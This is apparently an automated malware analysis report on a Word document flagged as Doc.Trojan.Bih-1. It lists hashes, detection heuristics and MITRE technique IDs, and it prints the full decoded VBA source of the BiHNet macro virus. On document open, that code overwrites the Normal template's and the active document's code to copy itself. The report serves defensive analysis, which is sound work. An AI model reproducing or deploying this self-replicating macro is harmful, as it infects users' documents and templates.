Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 520916d9ec595477…

MALICIOUS

Office (OLE)

33.0 KB Created: 2000-08-17 08:05:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: cad4554b558cd10f03a0ef5350b243b4 SHA-1: 049c4f5acf1185785cf661cf09c821eb53a311b5 SHA-256: 520916d9ec595477779968c1af350a5eb3b2fe0c887bd5bf5457362ed8cf7edd
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The 'Document_Open' macro is designed to execute a secondary payload, as indicated by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic firing with 'Shell' execution. The embedded script is heavily obfuscated and contains numerous greetings and references to specific individuals and groups, suggesting it is a custom or well-established piece of malware. The ClamAV detection 'Doc.Trojan.Bih-1' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Bih-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bih-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1844 bytes
SHA-256: 463dfc9281d81cf1ffd9e815a58f0d23bdc3b9b1379dbe60305239bfadd51de9
Detection
ClamAV: Doc.Trojan.Bih-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
WM_BiHNet
End Sub
Private Sub WM_BiHNet(): Const jedan = 1
Dim DF876VF, SD234KO, GH987WE, KJ523GT, LS893FD
Set DF876VF = ActiveDocument.VBProject _
.VBComponents(jedan).CodeModule
Set SD234KO = ThisDocument.VBProject. _
VBComponents(jedan).CodeModule
Set GH987WE = NormalTemplate.VBProject. _
VBComponents(jedan).CodeModule
KJ523GT = SD234KO.Lines(SD234KO.ProcStartLine _
("WM_BiHNet", vbext_pk_Proc), SD234KO.ProcCountLines("WM_BiHNet", vbext_pk_Proc))
LS893FD = DF876VF.Lines(SD234KO.ProcStartLine _
("WM_BiHNet", vbext_pk_Proc), SD234KO.ProcCountLines("WM_BiHNet", vbext_pk_Proc))
If GH987WE.ProcOfLine(jedan, vbext_pk_Proc) <> "WM_BiHNet" Or GH987WE.Lines(jedan, jedan) = "" Then
With GH987WE
.DeleteLines jedan, GH987WE.CountOfLines
.insertlines jedan, "Private Sub Document_Open()" & vbCrLf & "WM_BiHNet" & vbCrLf & "End Sub"
.insertlines 4, KJ523GT
End With
If DF876VF.ProcOfLine(jedan, vbext_pk_Proc) <> "WM_BiHNet" Or DF876VF.Lines(jedan, jedan) = "" Then
With DF876VF
.DeleteLines jedan, DF876VF.CountOfLines
.insertlines jedan, "Private Sub Document_Open()" & vbCrLf & "WM_BiHNet" & vbCrLf & "End Sub"
.insertlines 4, LS893FD
End With
End If
End If
'WM97/2K.BiHNet by e[ax]
'Greetz to: k04x, E-mAn, rudeboy, snakeLORD, BIGFOOOT, abasi, NetRider
'Morpheux, ARP@MAN, WEX-ALPHA, te ostaloj raji pri BiHNet.ORG
'Special 10x to: Lys Kovick, Jackie, Perikles, KnowDeth, GigaByte, Evul
'VirusBuster, urgo32 and to all ppl on #virus!
'My dream is my reality! - e[ax]
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.